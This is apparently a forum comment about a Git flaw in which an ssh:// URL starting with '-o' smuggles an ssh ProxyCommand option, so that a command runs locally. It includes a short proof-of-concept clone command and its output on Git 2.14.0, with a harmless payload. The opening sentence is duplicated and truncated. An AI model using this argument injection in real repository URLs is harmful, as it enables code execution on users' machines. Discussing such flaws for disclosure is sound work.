I haven't actually tried this, but I would assume that the exploit would involve tricking Git into passing an ssh_config(5) option (though -o or through -F) whi

I haven't actually tried this, but I would assume that the exploit would involve tricking Git into passing an ssh_config(5) option (though -o or through -F) which then has a ProxyCommand or LocalCommand that will run on the local machine. EDIT: Yeah, here's a sample exploit. Popping a shell is left as an exercise to the reader. % git version git version 2.14.0 % git clone 'ssh://-o ProxyCommand=touch/foo' Cloning into 'foo'... Pseudo-terminal will not be allocated because stdin is not a terminal. touch: missing file operand Try 'touch --help' for more information. ssh_exchange_identification: Connection closed by remote host fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists.